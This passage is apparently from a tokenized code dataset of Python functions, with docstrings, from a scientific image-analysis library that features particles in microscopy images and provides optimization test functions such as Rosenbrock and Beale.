<NUM_LIT:1><EOL>check_inds[check_inds > ind] -= <NUM_LIT:1>  <EOL>delete_poses.append(pos)<EOL>part_msg = '<STR_LIT>' % (<EOL>p + r + (old_err, st.error))<EOL>with log.noformat():<EOL><INDENT>CLOG.info(part_msg)<EOL><DEDENT><DEDENT><DEDENT>return removed, delete_poses<EOL>", "docstring": "Removes improperly-featured particles from the state, based on a\ncombination of particle size and the change in error on removal.\n\nParameters\n-----------\nst : :class:`peri.states.State`\n    The state to remove bad particles from.\nmin_rad : Float, optional\n    All particles with radius below min_rad are automatically deleted.\n    Set to 'calc' to make it the median rad - 25* radius std.\n    Default is 'calc'.\n\nmax_rad : Float, optional\n    All particles with radius above max_rad are automatically deleted.\n    Set to 'calc' to make it the median rad + 15* radius std.\n    Default is 'calc'.\n\nmin_edge_dist : Float, optional\n    All particles within min_edge_dist of the (padded) image\n    edges are automatically deleted. Default is 2.0\n\ncheck_rad_cutoff : 2-element list of floats, optional\n    Particles with radii < check_rad_cutoff[0] or > check_rad_cutoff[1]\n    are checked if they should be deleted. Set to 'calc' to make it the\n    median rad +- 3.5 * radius std. Default is [3.5, 15].\n\ncheck_outside_im : Bool, optional\n    If True, checks if particles located outside the unpadded image\n    should be deleted. Default is True.\n\ntries : Int, optional\n    The maximum number of particles with radii < check_rad_cutoff\n    to try to remove. Checks in increasing order of radius size.\n    Default is 50.\n\nim_change_frac : Float, , optional\n    Number between 0 and 1. If removing a particle decreases the\n    error by less than im_change_frac*the change in the image, then\n    the particle is deleted. Default is 0.2\n\nReturns\n-------\nremoved: Int\n    The cumulative number of particles removed.", "id": "f5774:m6"}
{"signature": "def add_subtract(st, max_iter=<NUM_LIT:7>, max_npart='<STR_LIT>', max_mem=<NUM_LIT>,<EOL>always_check_remove=False, **kwargs):", "body": "if max_npart == '<STR_LIT>':<EOL><INDENT>max_npart = <NUM_LIT> * st.obj_get_positions().shape[<NUM_LIT:0>]<EOL><DEDENT>total_changed = <NUM_LIT:0><EOL>_change_since_opt = <NUM_LIT:0><EOL>removed_poses = []<EOL>added_poses0 = []<EOL>added_poses = []<EOL>nr = <NUM_LIT:1>  <EOL>for _ in range(max_iter):<EOL><INDENT>if (nr != <NUM_LIT:0>) or (always_check_remove):<EOL><INDENT>nr, rposes = remove_bad_particles(st, **kwargs)<EOL><DEDENT>na, aposes = add_missing_particles(st, **kwargs)<EOL>current_changed = na + nr<EOL>removed_poses.extend(rposes)<EOL>added_poses0.extend(aposes)<EOL>total_changed += current_changed<EOL>_change_since_opt += current_changed<EOL>if current_changed == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>elif _change_since_opt > max_npart:<EOL><INDENT>_change_since_opt *= <NUM_LIT:0><EOL>CLOG.info('<STR_LIT>')<EOL>opt.do_levmarq(st, opt.name_globals(st, remove_params=st.get(<EOL>'<STR_LIT>').params), max_iter=<NUM_LIT:1>, run_length=<NUM_LIT:4>, num_eig_dirs=<NUM_LIT:3>,<EOL>max_mem=max_mem, eig_update_frequency=<NUM_LIT:2>, rz_order=<NUM_LIT:0>,<EOL>use_accel=True)<EOL>CLOG.info('<STR_LIT>'.format(st.error))<EOL><DEDENT><DEDENT>for p in added_poses0:<EOL><INDENT>i = st.obj_closest_particle(p)<EOL>opt.do_levmarq_particles(st, np.array([i]), max_iter=<NUM_LIT:2>, damping=<NUM_LIT>)<EOL>added_poses.append(st.obj_get_positions()[i])<EOL><DEDENT>return total_changed, np.array(removed_poses), np.array(added_poses)<EOL>", "docstring": "Automatically adds and subtracts missing & extra particles.\n\nOperates by removing bad particles then adding missing particles on\nrepeat, until either no particles are added/removed or after `max_iter`\nattempts.\n\nParameters\n----------\nst: :class:`peri.states.State`\n    The state to add and subtract particles to.\nmax_iter : Int, optional\n    The maximum number of add-subtract loops to use. Default is 7.\n    Terminates after either max_iter loops or when nothing has changed.\nmax_npart : Int or 'calc', optional\n    The maximum number of particles to add before optimizing the non-psf\n    globals. Default is ``'calc'``, which uses 5% of the initial number\n    of particles.\nmax_mem : Int, optional\n    The maximum memory to use for optimization after adding max_npart\n    particles. Default is 2e8.\nalways_check_remove : Bool, optional\n    Set to True to always check whether to remove particles. If ``False``,\n    only checks for removal while particles were removed on the previous\n    attempt. Default is False.\n\nOther Parameters\n----------------\ninvert : Bool, optional\n    ``True`` if the particles are dark on a bright background, ``False``\n    if they are bright on a dark background. Default is ``True``.\nmin_rad : Float, optional\n    Particles with radius below ``min_rad`` are automatically deleted.\n    Default is ``'calc'`` = median rad - 25* radius std.\nmax_rad : Float, optional\n    Particles with radius above ``max_rad`` are automatically deleted.\n    Default is ``'calc'`` = median rad + 15* radius std, but you should\n    change this for your particle sizes.\n\nmin_edge_dist : Float, optional\n    Particles closer to the edge of the padded image than this are\n    automatically deleted. Default is 2.0.\ncheck_rad_cutoff : 2-element float list.\n    Particles with ``radii < check_rad_cutoff[0]`` or ``> check...[1]``\n    are checked if they should be deleted (not automatic). Default is\n    ``[3.5, 15]``.\ncheck_outside_im : Bool, optional\n    Set to True to check whether to delete particles whose positions are\n    outside the un-padded image.\n\nrad : Float, optional\n    The initial radius for added particles; added particles radii are\n    not fit until the end of ``add_subtract``. Default is ``'calc'``,\n    which uses the median radii of active particles.\n\ntries : Int, optional\n    The number of particles to attempt to remove or add, per iteration.\n    Default is 50.\n\nim_change_frac : Float, optional\n    How good the change in error needs to be relative to the change in\n    the difference image. Default is 0.2; i.e. if the error does not\n    decrease by 20% of the change in the difference image, do not add\n    the particle.\n\nmin_derr : Float, optional\n    The minimum change in the state's error to keep a particle in the\n    image. Default is ``'3sig'`` which uses ``3*st.sigma``.\n\ndo_opt : Bool, optional\n    Set to False to avoid optimizing particle positions after adding.\nminmass : Float, optional\n    The minimum mass for a particle to be identified as a feature,\n    as used by trackpy. Defaults to a decent guess.\n\nuse_tp : Bool, optional\n    Set to True to use trackpy to find missing particles inside the\n    image. Not recommended since trackpy deliberately cuts out particles\n    at the edge of the image. Default is ``False``.\n\nReturns\n-------\ntotal_changed : Int\n    The total number of adds and subtracts done on the data. Not the\n    same as ``changed_inds.size`` since the same particle or particle\n    index can be added/subtracted multiple times.\nadded_positions : [N_added,3] numpy.ndarray\n    The positions of particles that have been added at any point in the\n    add-subtract cycle.\nremoved_positions : [N_added,3] numpy.ndarray\n    The positions of particles that have been removed at any point in\n    the add-subtract cycle.\n\nNotes\n------\nOccasionally after the intial featuring a cluster of particles is\nfeatured as 1 big particle. To fix these mistakes, it helps to set\nmax_rad to a physical value. This removes the big particle and allows\nit to be re-featured by (several passes of) the adds.\n\nThe added/removed positions returned are whether or not the position\nhas been added or removed ever. It's possible that a position is\nadded, then removed during a later iteration.", "id": "f5774:m7"}
{"signature": "def identify_misfeatured_regions(st, filter_size=<NUM_LIT:5>, sigma_cutoff=<NUM_LIT>):", "body": "<EOL>r = st.residuals<EOL>weights = np.ones([filter_size]*len(r.shape), dtype='<STR_LIT:float>')<EOL>weights /= weights.sum()<EOL>f = np.sqrt(nd.filters.convolve(r*r, weights, mode='<STR_LIT>'))<EOL>if sigma_cutoff == '<STR_LIT>':<EOL><INDENT>max_ok = initializers.otsu_threshold(f)<EOL><DEDENT>else:<EOL><INDENT>max_ok = f.mean() + sigma_cutoff * f.std()<EOL><DEDENT>bad = f > max_ok<EOL>labels, n = nd.measurements.label(bad)<EOL>inds = []<EOL>for i in range(<NUM_LIT:1>, n+<NUM_LIT:1>):<EOL><INDENT>inds.append(np.nonzero(labels == i))<EOL><DEDENT>tiles = [Tile(np.min(ind, axis=<NUM_LIT:1>), np.max(ind, axis=<NUM_LIT:1>)+<NUM_LIT:1>) for ind in inds]<EOL>volumes = [t.volume for t in tiles]<EOL>return [tiles[i] for i in np.argsort(volumes)[::-<NUM_LIT:1>]]<EOL>", "docstring": "Identifies regions of missing/misfeatured particles based on the\nresiduals' local deviation from uniform Gaussian noise.\n\nParameters\n----------\nst : :class:`peri.states.State`\n    The state in which to identify mis-featured regions.\n\nfilter_size : Int, best if odd.\n    The size of the filter for calculating the local standard deviation;\n    should approximately be the size of a poorly featured region in\n    each dimension. Default is 5.\n\nsigma_cutoff : Float or `otsu`, optional\n    The max allowed deviation of the residuals from what is expected,\n    in units of the residuals' standard deviation. Lower means more\n    sensitive, higher = less sensitive. Default is 8.0, i.e. one pixel\n    out of every 7*10^11 is mis-identified randomly. In practice the\n    noise is not Gaussian so there are still some regions mis-identified\n    as improperly featured. Set to ```otsu``` to calculate this number\n    based on an automatic Otsu threshold.\n\nReturns\n-------\ntiles : List of :class:`peri.util.Tile`\n    Each tile is the smallest bounding tile that contains an improperly\n    featured region. The list is sorted by the tile's volume.\n\nNotes\n-----\nAlgorithm is\n1.  Create a field of the local standard deviation, as measured over\n    a hypercube of size filter_size.\n2.  Find the maximum reasonable value of the field. [The field should\n    be a random variable with mean of r.std() and standard deviation\n    of ~r.std() / sqrt(N), where r is the residuals and N is the\n    number of pixels in the hypercube.]\n3.  Label & Identify the misfeatured regions as portions where\n    the local error is too large.\n4.  Parse the misfeatured regions into tiles.\n5.  Return the sorted tiles.\nThe Otsu option to calculate the sigma cutoff works well for images\nthat actually contain missing particles, returning a number similar\nto one calculated with a sigma cutoff. However, if the image is\nwell-featured with Gaussian residuals, then the Otsu threshold\nsplits the Gaussian down the middle instead of at the tails, which\nis very bad. So use with caution.", "id": "f5774:m8"}
{"signature": "def add_subtract_misfeatured_tile(<EOL>st, tile, rad='<STR_LIT>', max_iter=<NUM_LIT:3>, invert='<STR_LIT>', max_allowed_remove=<NUM_LIT:20>,<EOL>minmass=None, use_tp=False, **kwargs):", "body": "if rad == '<STR_LIT>':<EOL><INDENT>rad = guess_add_radii(st)<EOL><DEDENT>if invert == '<STR_LIT>':<EOL><INDENT>invert = guess_invert(st)<EOL><DEDENT>initial_error = np.copy(st.error)<EOL>rinds = np.nonzero(tile.contains(st.obj_get_positions()))[<NUM_LIT:0>]<EOL>if rinds.size >= max_allowed_remove:<EOL><INDENT>CLOG.fatal('<STR_LIT>')<EOL>raise RuntimeError<EOL><DEDENT>elif rinds.size >= max_allowed_remove/<NUM_LIT:2>:<EOL><INDENT>CLOG.warn('<STR_LIT>')<EOL><DEDENT>elif rinds.size > <NUM_LIT:0>:<EOL><INDENT>rpos, rrad = st.obj_remove_particle(rinds)<EOL><DEDENT>n_added = -rinds.size<EOL>added_poses = []<EOL>for _ in range(max_iter):<EOL><INDENT>if invert:<EOL><INDENT>im = <NUM_LIT:1> - st.residuals[tile.slicer]<EOL><DEDENT>else:<EOL><INDENT>im = st.residuals[tile.slicer]<EOL><DEDENT>guess, _ = _feature_guess(im, rad, minmass=minmass, use_tp=use_tp)<EOL>accepts, poses = check_add_particles(<EOL>st, guess+tile.l, rad=rad, do_opt=True, **kwargs)<EOL>added_poses.extend(poses)<EOL>n_added += accepts<EOL>if accepts == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>CLOG.warn('<STR_LIT>')<EOL><DEDENT>ainds = []<EOL>for p in added_poses:<EOL><INDENT>ainds.append(st.obj_closest_particle(p))<EOL><DEDENT>if len(ainds) > max_allowed_remove:<EOL><INDENT>for i in range(<NUM_LIT:0>, len(ainds), max_allowed_remove):<EOL><INDENT>opt.do_levmarq_particles(<EOL>st, np.array(ainds[i:i + max_allowed_remove]),<EOL>include_rad=True, max_iter=<NUM_LIT:3>)<EOL><DEDENT><DEDENT>elif len(ainds) > <NUM_LIT:0>:<EOL><INDENT>opt.do_levmarq_particles(st, ainds, include_rad=True, max_iter=<NUM_LIT:3>)<EOL><DEDENT>did_something = (rinds.size > <NUM_LIT:0>) or (len(ainds) > <NUM_LIT:0>)<EOL>if did_something & (st.error > initial_error):<EOL><INDENT>CLOG.info('<STR_LIT>'.format(<EOL>tile.l.tolist(), tile.r.tolist()))<EOL>if len(ainds) > <NUM_LIT:0>:<EOL><INDENT>_ = st.obj_remove_particle(ainds)<EOL><DEDENT>if rinds.size > <NUM_LIT:0>:<EOL><INDENT>for p, r in zip(rpos.reshape(-<NUM_LIT:1>, <NUM_LIT:3>), rrad.reshape(-<NUM_LIT:1>)):<EOL><INDENT>_ = st.obj_add_particle(p, r)<EOL><DEDENT><DEDENT>n_added = <NUM_LIT:0><EOL>ainds = []<EOL><DEDENT>return n_added, ainds<EOL>", "docstring": "Automatically adds and subtracts missing & extra particles in a region\nof poor fit.\n\nParameters\n----------\nst: :class:`peri.states.State`\n    The state to add and subtract particles to.\ntile : :class:`peri.util.Tile`\n    The poorly-fit region to examine.\nrad : Float or 'calc', optional\n    The initial radius for added particles; added particles radii are\n    not fit until the end of add_subtract. Default is ``'calc'``, which\n    uses the median radii of active particles.\nmax_iter : Int, optional\n    The maximum number of loops for attempted adds at one tile location.\n    Default is 3.\ninvert : {'guess', True, False}, optional\n    Whether to invert the image for feature_guess -- True for dark\n    particles on a bright background, False for bright particles. The\n    default is to guess from the state's current particles.\nmax_allowed_remove : Int, optional\n    The maximum number of particles to remove. If the misfeatured tile\n    contains more than this many particles, raises an error. If it\n    contains more than half as many particles, logs a warning. If more\n    than this many particles are added, they are optimized in blocks of\n    ``max_allowed_remove``. Default is 20.\n\nOther Parameters\n----------------\nim_change_frac : Float on [0, 1], optional.\n    If adding or removing a particle decreases the error less than\n    ``im_change_frac``*the change in the image, the particle is deleted.\n    Default is 0.2.\n\nmin_derr : {Float, ``'3sig'``}, optional\n    The minimum change in the state's error to keep a particle in the\n    image. Default is ``'3sig'`` which uses ``3*st.sigma``.\n\ndo_opt : Bool, optional\n    Set to False to avoid optimizing particle positions after adding\n    them. Default is True.\n\nminmass : Float, optional\n    The minimum mass for a particle to be identified as a feature, as\n    used by trackpy. Defaults to a decent guess.\n\nuse_tp : Bool, optional\n    Set to True to use trackpy to find missing particles inside the\n    image. Not recommended since trackpy deliberately cuts out particles\n    at the edge of the image. Default is False.\n\nOutputs\n-------\nn_added : Int\n    The change in the number of particles, i.e. ``n_added-n_subtracted``\nainds: List of ints\n    The indices of the added particles.\n\nNotes\n--------\nThe added/removed positions returned are whether or not the\nposition has been added or removed ever. It's possible/probably that\na position is added, then removed during a later iteration.\n\nAlgorithm is:\n1.  Remove all particles within the tile.\n2.  Feature and add particles to the tile.\n3.  Optimize the added particles positions only.\n4.  Run 2-3 until no particles have been added.\n5.  Optimize added particle radii\nBecause all the particles are removed within a tile, it is important\nto set max_allowed_remove to a reasonable value. Otherwise, if the\ntile is the size of the image it can take a long time to remove all\nthe particles and re-add them.", "id": "f5774:m9"}
{"signature": "def add_subtract_locally(st, region_depth=<NUM_LIT:3>, filter_size=<NUM_LIT:5>, sigma_cutoff=<NUM_LIT:8>,<EOL>**kwargs):", "body": "<EOL>tiles = identify_misfeatured_regions(<EOL>st, filter_size=filter_size, sigma_cutoff=sigma_cutoff)<EOL>n_empty = <NUM_LIT:0><EOL>n_added = <NUM_LIT:0><EOL>new_poses = []<EOL>for t in tiles:<EOL><INDENT>curn, curinds = add_subtract_misfeatured_tile(st, t, **kwargs)<EOL>if curn == <NUM_LIT:0>:<EOL><INDENT>n_empty += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>n_added += curn<EOL>new_poses.extend(st.obj_get_positions()[curinds])<EOL><DEDENT>if n_empty > region_depth:<EOL><INDENT>break  <EOL><DEDENT><DEDENT>else:  <EOL><INDENT>pass<EOL><DEDENT>return n_added, new_poses<EOL>", "docstring": "Automatically adds and subtracts missing particles based on local\nregions of poor fit.\n\nCalls identify_misfeatured_regions to identify regions, then\nadd_subtract_misfeatured_tile on the tiles in order of size until\nregion_depth tiles have been checked without adding any particles.\n\nParameters\n----------\nst: :class:`peri.states.State`\n    The state to add and subtract particles to.\nregion_depth : Int\n    The minimum amount of regions to try; the algorithm terminates if\n    region_depth regions have been tried without adding particles.\n\nOther Parameters\n----------------\nfilter_size : Int, optional\n    The size of the filter for calculating the local standard deviation;\n    should approximately be the size of a poorly featured region in each\n    dimension. Best if odd. Default is 5.\nsigma_cutoff : Float, optional\n    The max allowed deviation of the residuals from what is expected,\n    in units of the residuals' standard deviation. Lower means more\n    sensitive, higher = less sensitive. Default is 8.0, i.e. one pixel\n    out of every ``7*10^11`` is mis-identified randomly. In practice the\n    noise is not Gaussian so there are still some regions mis-\n    identified as improperly featured.\nrad : Float or 'calc', optional\n    The initial radius for added particles; added particles radii are\n    not fit until the end of add_subtract. Default is ``'calc'``, which\n    uses the median radii of active particles.\nmax_iter : Int, optional\n    The maximum number of loops for attempted adds at one tile location.\n    Default is 3.\ninvert : Bool, optional\n    Whether to invert the image for feature_guess. Default is ``True``,\n    i.e. dark particles on bright background.\nmax_allowed_remove : Int, optional\n    The maximum number of particles to remove. If the misfeatured tile\n    contains more than this many particles, raises an error. If it\n    contains more than half as many particles, throws a warning. If more\n    than this many particles are added, they are optimized in blocks of\n    ``max_allowed_remove``. Default is 20.\nim_change_frac : Float, between 0 and 1.\n    If adding or removing a particle decreases the error less than\n    ``im_change_frac *`` the change in the image, the particle is deleted.\n    Default is 0.2.\nmin_derr : Float\n    The minimum change in the state's error to keep a particle in the\n    image. Default is ``'3sig'`` which uses ``3*st.sigma``.\ndo_opt : Bool, optional\n    Set to False to avoid optimizing particle positions after adding\n    them. Default is True\nminmass : Float, optional\n    The minimum mass for a particle to be identified as a feature, as\n    used by trackpy. Defaults to a decent guess.\nuse_tp : Bool, optional\n    Set to True to use trackpy to find missing particles inside the\n    image. Not recommended since trackpy deliberately cuts out\n    particles at the edge of the image. Default is False.\nmax_allowed_remove : Int, optional\n    The maximum number of particles to remove. If the misfeatured tile\n    contains more than this many particles, raises an error. If it\n    contains more than half as many particles, throws a warning. If more\n    than this many particles are added, they are optimized in blocks of\n    ``max_allowed_remove``. Default is 20.\n\nReturns\n-------\nn_added : Int\n    The change in the number of particles; i.e the number added - number\n    removed.\nnew_poses : List\n    [N,3] element list of the added particle positions.\n\nNotes\n-----\nAlgorithm Description\n\n1. Identify mis-featured regions by how much the local residuals\n   deviate from the global residuals, as measured by the standard\n   deviation of both.\n2. Loop over each of those regions, and:\n\n   a. Remove every particle in the current region.\n   b. Try to add particles in the current region until no more\n      can be added while adequately decreasing the error.\n   c. Terminate if at least region_depth regions have been\n      checked without successfully adding a particle.\n\nBecause this algorithm is more judicious about chooosing regions to\ncheck, and more aggressive about removing particles in those regions,\nit runs faster and does a better job than the (global) add_subtract.\nHowever, this function usually does not work better as an initial add-\nsubtract on an image, since (1) it doesn't check for removing small/big\nparticles per se, and (2) when the poorly-featured regions of the image\nare large or when the fit is bad, it will remove essentially all of the\nparticles, taking a long time. As a result, it's usually best to do a\nnormal add_subtract first and using this function for tough missing or\ndouble-featured particles.", "id": "f5774:m10"}
{"signature": "def guess_invert(st):", "body": "pos = st.obj_get_positions()<EOL>pxinds_ar = np.round(pos).astype('<STR_LIT:int>')<EOL>inim = st.ishape.translate(-st.pad).contains(pxinds_ar)<EOL>pxinds_tuple = tuple(pxinds_ar[inim].T)<EOL>pxvals = st.data[pxinds_tuple]<EOL>invert = np.median(pxvals) < np.median(st.data)  <EOL>return invert<EOL>", "docstring": "Guesses whether particles are bright on a dark bkg or vice-versa\n\n    Works by checking whether the intensity at the particle centers is\n    brighter or darker than the average intensity of the image, by\n    comparing the median intensities of each.\n\n    Parameters\n    ----------\n    st : :class:`peri.states.ImageState`\n\n    Returns\n    -------\n    invert : bool\n        Whether to invert the image for featuring.", "id": "f5774:m11"}
{"signature": "def optimize_particle(state, index, method='<STR_LIT>', doradius=True):", "body": "blocks = state.param_particle(index)<EOL>if not doradius:<EOL><INDENT>blocks = blocks[:-<NUM_LIT:1>]<EOL><DEDENT>g = state.gradloglikelihood(blocks=blocks)<EOL>if method == '<STR_LIT>':<EOL><INDENT>h = state.jtj(blocks=blocks)<EOL><DEDENT>if method == '<STR_LIT>':<EOL><INDENT>h = state.hessloglikelihood(blocks=blocks)<EOL><DEDENT>step = np.linalg.solve(h, g)<EOL>h = np.zeros_like(g)<EOL>for i in range(len(g)):<EOL><INDENT>state.update(blocks[i], state.state[blocks[i]] - step[i])<EOL><DEDENT>return g,h<EOL>", "docstring": "Methods available are\n    gn : Gauss-Newton with JTJ (recommended)\n    nr : Newton-Rhaphson with hessian\n\nif doradius, also optimize the radius.", "id": "f5775:m0"}
{"signature": "def himmelblau(xy):", "body": "x, y = xy<EOL>r1 = x*x + y<EOL>r2 = y*y + x<EOL>return np.array([r1, r2])<EOL>", "docstring": "Himmelblau's function, as a set of residuals (cost = sum(residuals**2))\n\nThe standard Himmelbau's function is with data as [11, 7], and four\nminimum at (3.0, 2.0), ~(-2.8, 3.1), ~(-3.8, -3.3), ~(3.6, -1.8).\nHimmelblau's function is a quadratic model in both x and y. Its data-\nspace dimension (2) is equal to its model-space dimension (2), so\nthere is only parameter-effect curvature.\n\nParameters\n----------\n    - xy : 2-element list-like\n        The x,y parameters of the model.\n\nReturns\n-------\n    2-element list-like\n        The residuals of the model.\nNotes\n------\nhttps://en.wikipedia.org/wiki/Himmelblau%27s_function", "id": "f5776:m0"}
{"signature": "def simple_sphere(xy):", "body": "return xy<EOL>", "docstring": "A simple sphere, as a set of residuals (cost = sum(residuals**2))\n\nSimply returns the input parameters. A linear, uncoupled model.\n\nParameters\n----------\n    - xy : 2-element list-like\n        The x,y parameters of the model.\n\nReturns\n-------\n    - xy : 2-element list-like\n        The residuals, which are just xy", "id": "f5776:m1"}
{"signature": "def rosenbrock(xy, A=<NUM_LIT:10>):", "body": "x, y = xy<EOL>r1 = x<EOL>r2 = A*(y-x*x)<EOL>return np.array([r1, r2])<EOL>", "docstring": "The original rosenbrock banana function, as a set of residuals\n(cost = sum(residuals**2))\n\nThe original function is with data = [1,0] and A=10, with a global\nminimum at (1,1)=(data[0], data[0]^2). It is a coupled model,\nquadratic in x and linear in y. Its data-space dimension (2) is equal\nto its model-space dimension (2), so there is only parameter-effect\ncurvature.\n\nParameters\n----------\n    - xy : 2-element list-like\n        The x,y parameters of the model.\n\nReturns\n-------\n    2-element list-like\n        The residuals of the model.", "id": "f5776:m2"}
{"signature": "def rosenbrock_gen(xy, A=<NUM_LIT:10>, order=<NUM_LIT:3>):", "body": "x, y = xy<EOL>r1 = x<EOL>r2 = A*(y-x**order / order)<EOL>return np.array([r1, r2])<EOL>", "docstring": "A generalized rosenbrock banana function, as a set of residuals\n(cost = sum(residuals**2))\n\nThe Rosenbrock function, generalized from a quadratic model to a\nhigher-order nonlinearity. The residuals are\n    r1 = xy[0]\n    r2 = xy[1] - xy[0]^n/n\nThe original function is with data = [1,0] and order=2, and has a\nsingle minimum at (x,y) = (1, 1/order). The model is coupled,\npolynomial in x and linear in y. Its data-space dimension (2) is\nequal to its model-space dimension (2), so there is only parameter-\neffect curvature. (See M Transtrum et al, PRE 2011)\n\nParameters\n----------\n    - xy : 2-element list-like\n        The x,y parameters of the model.\n    - order : Int, optional\n        The order of the model nonlinearity. Default is 3\n\nReturns\n-------\n    2-element list-like\n        The residuals of the model.", "id": "f5776:m3"}
{"signature": "def rosenbrock_dd(xd, A=<NUM_LIT:10>):", "body": "xp = xd[<NUM_LIT:1>:]<EOL>xi = xd[:-<NUM_LIT:1>]<EOL>r1 = A*(xp - xi*xi)<EOL>r2 = <NUM_LIT:1> - xi<EOL>return np.append(r1, r2)<EOL>", "docstring": "A higher-dimensional modification of the rosenbrock function, as a\nset of residuals (cost = sum(residuals**2))\n\nThe standard modified function is with data = zeros(2d-2), with a\nglobal minimum at xd = ones(d). It is a coupled model, quadratic in\nthe first d-1 parameters. Its data-space dimension (2d-2) is greater\nthan its model-space dimension (d) for d > 2.\n\nParameters\n----------\n    - xd : d-element list-like\n        The x,y parameters of the model.\n\nReturns\n-------\n    (2d-2)-element list-like\n        The residuals of the model.\n\nNotes\n-----\n    Based on the multidimensional variation\n        f(x) = \\sum_{i=1}^{N-1} 100(x_{i+1} - x_i&2) + (1-x_i)^2\nThis gives a data space of dimension 2*(N-1) =2N-2 and a parameter\nspace of dimension N. According to wikipedia, has 1 minimia for N=3\nat (1,1,1), 2 minima for 4<=N<=7. See:\nhttps://en.wikipedia.org/wiki/Rosenbrock_function#Multidimensional_generalisations", "id": "f5776:m4"}
{"signature": "def rosenbrock_gendd(xd, A=<NUM_LIT:10>, order=<NUM_LIT:3>):", "body": "xp = xd[<NUM_LIT:1>:]<EOL>xi = xd[:-<NUM_LIT:1>]<EOL>r1 = A*(xp - xi**order)<EOL>r2 = <NUM_LIT:1> - xi<EOL>return np.append(r1, r2)<EOL>", "docstring": "A higher-dimensional modification of a generalized rosenbrock\nfunction, as a set of residuals (cost = sum(residuals**2))\n\nThe standard modified function is with data = zeros(N), with a\nglobal minimum at xd=ones(d). This function is a coupled model,\npolynomial in the first d-1 parameters. Its data-space dimension\n(2d-2) is greater than its model-space dimension (d) for d > 2.\n\nParameters\n----------\n    - xd : d-element list-like\n        The x,y parameters of the model.\n    - order : Int, optional\n        The order of the model nonlinearity. Default is 3\n\nReturns\n-------\n    (2d-2)-element list-like\n        The residuals of the model.\n\nNotes\n-----\n    Based on the multidimensional variation\n        f(x) = \\sum_{i=1}^{N-1} 100(x_{i+1} - x_i&2) + (1-x_i)^2\nThis gives a data space of dimension 2*(N-1) =2N-2 and a parameter\nspace of dimension N. According to wikipedia, the quadratic version\nhas 1 minimia for N=3 at (1,1,1), 2 minima for 4<=N<=7. See:\nhttps://en.wikipedia.org/wiki/Rosenbrock_function#Multidimensional_generalisations", "id": "f5776:m5"}
{"signature": "def beale(xy):", "body": "x, y = xy<EOL>r1 = x - x*y<EOL>r2 = x - x*y*y<EOL>r3 = x - x*y*y*y<EOL>return np.array([r1, r2, r3])<EOL>", "docstring": "The Beale function, as a set of residuals (cost = sum(residuals**2))\n\nThe standard Beale's function is with data as [1.5, 2.25, 2.625],\nand has a global minima at (3, 0.5). Beale's function is a coupled\nmodel, linear in x and quartic in y. Its data-space dimension (3) is\ngreater than its model-space dimension (2).\n\nParameters\n----------\n    - xy : 2-element list-like\n        The x,y parameters of the model.\n\nReturns\n-------\n    3-element list-like\n        The residuals of the model.", "id": "f5776:m6"}
{"signature": "def booth(xy):", "body": "x, y = xy<EOL>r1 = x + <NUM_LIT:2>*y<EOL>r2 = y + <NUM_LIT:2>*x<EOL>return np.array([r1, r2])<EOL>", "docstring": "The Booth's function, as a set of residuals (cost = sum(residuals**2))\n\nThe standard Booth function is with data as [7, 5], and has a single\nglobal minimum at (1,3). It is a coupled linear model, with the\nparameter and data space both 2-dimensional.\n\nParameters\n----------\n    - xy : 2-element list-like\n        The x,y parameters of the model.\n\nReturns\n-------\n    2-element list-like\n        The residuals of the model.", "id": "f5776:m7"}
{"signature": "def tile_overlap(inner, outer, norm=False):", "body": "div = <NUM_LIT:1.0>/inner.volume if norm else <NUM_LIT:1.0><EOL>return div*(inner.volume - util.Tile.intersection(inner, outer).volume)<EOL>", "docstring": "How much of inner is in outer by volume", "id": "f5777:m2"}
{"signature": "def closest_uniform_tile(s, shift, size, other):", "body": "region = util.Tile(size, dim=s.dim, dtype='<STR_LIT:float>').translate(shift - s.pad)<EOL>vec = np.round((other.center - region.center) / region.shape)<EOL>return region.translate(region.shape * vec)<EOL>", "docstring": "Given a tiling of space (by state, shift, and size), find the closest\ntile to another external tile", "id": "f5777:m4"}
{"signature": "def spatial_parameter_groups(s, params, max_mem=<NUM_LIT>, max_decimation=<NUM_LIT:1.0>, **kwargs):", "body": "<EOL>", "docstring": "Given a state and a list of parameters, spatially group the parameters into\nsmall regions which have overlapping influence so that they may be optimized\nconcurrently.\n\nParameters:\n-----------\ns : state\n    A PERI state which contains parameters\n\nparameters : list of strings\n    List of parameters which to group together\n\nReturns:\n--------\ngroups : list of list of strings\n    List of grouping of parameters. Each parameter will appear exactly once\n    in the resulting groups.", "id": "f5777:m10"}
{"signature": "def separate_particles_into_groups(s, region_size=<NUM_LIT>, bounds=None):", "body": "imtile = (<EOL>s.oshape.translate(-s.pad) if bounds is None else<EOL>util.Tile(bounds[<NUM_LIT:0>], bounds[<NUM_LIT:1>])<EOL>)<EOL>region = util.Tile(region_size, dim=s.dim)<EOL>trange = np.ceil(imtile.shape.astype('<STR_LIT:float>') / region.shape)<EOL>translations = util.Tile(trange).coords(form='<STR_LIT>')<EOL>translations = translations.reshape(-<NUM_LIT:1>, translations.shape[-<NUM_LIT:1>])<EOL>groups = []<EOL>positions = s.obj_get_positions()<EOL>for v in translations:<EOL><INDENT>tmptile = region.copy().translate(region.shape * v - s.pad)<EOL>groups.append(find_particles_in_tile(positions, tmptile))<EOL><DEDENT>return [g for g in groups if len(g) > <NUM_LIT:0>]<EOL>", "docstring": "Given a state, returns a list of groups of particles. Each group of\nparticles are located near each other in the image. Every particle\nlocated in the desired region is contained in exactly 1 group.\n\nParameters:\n-----------\ns : state\n    The PERI state to find particles in.\n\nregion_size: int or list of ints\n    The size of the box. Groups particles into boxes of shape region_size.\n    If region_size is a scalar, the box is a cube of length region_size.\n    Default is 40.\n\nbounds: 2-element list-like of 3-element lists.\n    The sub-region of the image over which to look for particles.\n        bounds[0]: The lower-left  corner of the image region.\n        bounds[1]: The upper-right corner of the image region.\n    Default (None -> ([0,0,0], s.oshape.shape)) is a box of the entire\n    image size, i.e. the default places every particle in the image\n    somewhere in the groups.\n\nReturns:\n-----------\nparticle_groups: list\n    Each element of particle_groups is an int numpy.ndarray of the\n    group of nearby particles. Only contains groups with a nonzero\n    number of particles, so the elements don't necessarily correspond\n    to a given image region.", "id": "f5777:m11"}
